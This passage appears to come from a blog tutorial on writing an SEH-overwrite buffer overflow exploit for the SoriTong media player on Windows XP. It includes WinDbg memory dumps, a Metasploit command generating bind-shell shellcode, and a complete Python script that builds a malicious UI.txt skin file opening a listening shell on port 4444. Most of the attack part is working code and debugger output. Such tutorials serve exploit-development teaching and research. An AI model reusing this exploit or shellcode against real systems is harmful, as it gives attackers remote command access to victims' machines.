cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0012fd64 cc int 3
0:000> d eip
0012fd64 cc cc cc cc 12 e8 01 10-31 41 42 43 44 45 46 47 ........1ABCDEFG
0012fd74 48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49 HIJKLM2ABCDEFGHI
0012fd84 4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b JKLM3ABCDEFGHIJK
0012fd94 4c 4d 90 90 90 90 90 90-90 90 90 90 90 90 90 90 LM..............
0012fda4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdb4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdc4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0012fdd4 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
Perfect, the shellcode is visible and starts exactly where we had expected. I have used a short string to test the shellcode, it may be a good idea to use a longer string (just to verify that there are no “holes” in the shellcode anywhere). If the shellcode starts at an offset of where it should start, then you’ll need to modify the jumpcode (at nSEH) so it would jump further.msf payload(shell_bind_tcp) > show options
Module options (payload/windows/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique (accepted: seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 127.0.0.1 no The target address
msf payload(shell_bind_tcp) > generate -b '\x00\x0b\x0d\x0a' -t py
Now we are ready to build the exploit with real shellcode (and replace the breakpoints at nSEH again with the jumpcode).#!/usr/bin/env python
# -*- coding: utf8 -*-
from struct import pack
junk1 = "A" * 584
next_seh = "\xeb\x06\x90\x90"
se_handler = pack("L", 0x1001E812)
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=127.0.0.1,
# PrependMigrate=false, EXITFUNC=seh, InitialAutoRunScript=,
# AutoRunScript=
buf = ""
buf += "\xb8\xa1\x67\xbb\xcb\xd9\xe9\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x53\x31\x46\x12\x83\xee\xfc\x03\xe7\x69\x59"
buf += "\x3e\x1b\x9d\x1f\xc1\xe3\x5e\x40\x4b\x06\x6f\x40\x2f"
buf += "\x43\xc0\x70\x3b\x01\xed\xfb\x69\xb1\x66\x89\xa5\xb6"
buf += "\xcf\x24\x90\xf9\xd0\x15\xe0\x98\x52\x64\x35\x7a\x6a"
buf += "\xa7\x48\x7b\xab\xda\xa1\x29\x64\x90\x14\xdd\x01\xec"
buf += "\xa4\x56\x59\xe0\xac\x8b\x2a\x03\x9c\x1a\x20\x5a\x3e"
buf += "\x9d\xe5\xd6\x77\x85\xea\xd3\xce\x3e\xd8\xa8\xd0\x96"
buf += "\x10\x50\x7e\xd7\x9c\xa3\x7e\x10\x1a\x5c\xf5\x68\x58"
buf += "\xe1\x0e\xaf\x22\x3d\x9a\x2b\x84\xb6\x3c\x97\x34\x1a"
buf += "\xda\x5c\x3a\xd7\xa8\x3a\x5f\xe6\x7d\x31\x5b\x63\x80"
buf += "\x95\xed\x37\xa7\x31\xb5\xec\xc6\x60\x13\x42\xf6\x72"
buf += "\xfc\x3b\x52\xf9\x11\x2f\xef\xa0\x7d\x9c\xc2\x5a\x7e"
buf += "\x8a\x55\x29\x4c\x15\xce\xa5\xfc\xde\xc8\x32\x02\xf5"
buf += "\xad\xac\xfd\xf6\xcd\xe5\x39\xa2\x9d\x9d\xe8\xcb\x75"
buf += "\x5d\x14\x1e\xe3\x55\xb3\xf1\x16\x98\x03\xa2\x96\x32"
buf += "\xec\xa8\x18\x6d\x0c\xd3\xf2\x06\xa5\x2e\xfd\x39\x6a"
buf += "\xa6\x1b\x53\x82\xee\xb4\xcb\x60\xd5\x0c\x6c\x9a\x3f"
buf += "\x25\x1a\xd3\x29\xf2\x25\xe4\x7f\x54\xb1\x6f\x6c\x60"
buf += "\xa0\x6f\xb9\xc0\xb5\xf8\x37\x81\xf4\x99\x48\x88\x6e"
buf += "\x39\xda\x57\x6e\x34\xc7\xcf\x39\x11\x39\x06\xaf\x8f"
buf += "\x60\xb0\xcd\x4d\xf4\xfb\x55\x8a\xc5\x02\x54\x5f\x71"
buf += "\x21\x46\x99\x7a\x6d\x32\x75\x2d\x3b\xec\x33\x87\x8d"
buf += "\x46\xea\x74\x44\x0e\x6b\xb7\x57\x48\x74\x92\x21\xb4"
buf += "\xc5\x4b\x74\xcb\xea\x1b\x70\xb4\x16\xbc\x7f\x6f\x93"
buf += "\xc2\x8e\xbd\x0e\x52\x29\x54\x73\x3e\xca\x83\xb0\x47"
buf += "\x49\x21\x49\xbc\x51\x40\x4c\xf8\xd5\xb9\x3c\x91\xb3"
buf += "\xbd\x93\x92\x91"
junk2 = "\x90" * 1000
payload = junk1 + next_seh + se_handler + buf + junk2
f = open("C:\Program Files\SoriTong\Skin\Default\UI.txt", 'w')
f.write(payload)
f.close()
Create the ui.txt file and open soritong.exe directly (not from the debugger this time), and a shell listener is background.0:000> g
ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll
ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 77a80000 77b15000 C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77b20000 77b32000 C:\WINDOWS\system32\MSASN1.dll
ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll
ModLoad: 72d10000 72d18000 C:\WINDOWS\system32\msacm32.drv
ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll
ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll
ModLoad: 10000000 10094000 C:\Program Files\SoriTong\Player.dll
ModLoad: 42100000 42129000 C:\WINDOWS\system32\wmaudsdk.dll
ModLoad: 00eb0000 00eff000 C:\WINDOWS\system32\DRMClien.DLL
ModLoad: 5bc60000 5bc9f000 C:\WINDOWS\system32\strmdll.dll
ModLoad: 71ad0000 71ad9000 C:\WINDOWS\system32\WSOCK32.dll
ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 76eb0000 76edf000 C:\WINDOWS\system32\TAPI32.dll
ModLoad: 76e80000 76e8e000 C:\WINDOWS\system32\rtutils.dll
(e58.e20): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017d504 edi=0012fd64
eip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010296
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41
0:000> !exchain
0012fd64: *** WARNING: Unable to verify checksum for C:\Program Files\SoriTong\Player.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\SoriTong\Player.dll -
Player!Player_Action+ef52 (1001e812)
Invalid exception stack at 909006eb
0:000> d 0012fd60
0012fd60 41 41 41 41 eb 06 90 90-12 e8 01 10 b8 a1 67 bb AAAA..........g.
0012fd70 cb d9 e9 d9 74 24 f4 5e-31 c9 b1 53 31 46 12 83 ....t$.^1..S1F..
0012fd80 ee fc 03 e7 69 59 3e 1b-9d 1f c1 e3 5e 40 4b 06 ....iY>.....^@K.
0012fd90 6f 40 2f 43 c0 70 3b 01-ed fb 69 b1 66 89 a5 b6 o@/C.p;...i.f...
0012fda0 cf 24 90 f9 d0 15 e0 98-52 64 35 7a 6a a7 48 7b .$......Rd5zj.H{
0012fdb0 ab da a1 29 64 90 14 dd-01 ec a4 56 59 e0 ac 8b ...)d......VY...
0012fdc0 2a 03 9c 1a 20 5a 3e 9d-e5 d6 77 85 ea d3 ce 3e *... Z>...w....>
0012fdd0 d8 a8 d0 96 10 50 7e d7-9c a3 7e 10 1a 5c f5 68 .....P~...~..\.h
- 41 41 41 41 : last characters of buffer
- eb 06 90 90 : next SEH, do a 6byte jump
- 12 e8 01 10 : current SE Handler (pop pop ret, which will trigger the next exception, making the code go to the next SEH pointer and run “eb 06 90 90”)
- b8 a1 67 bb: begin of shellcode (I added a \xcc which is the breakpoint), at address 0x0012fd6c.
References
https://www.exploit-db.com/docs/17505.pdf
http://www.fuzzysecurity.com/tutorials/expDev/3.html
https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
http://www.youtube.com/watch?v=FYmfYOOrQ00
No comments:
Post a Comment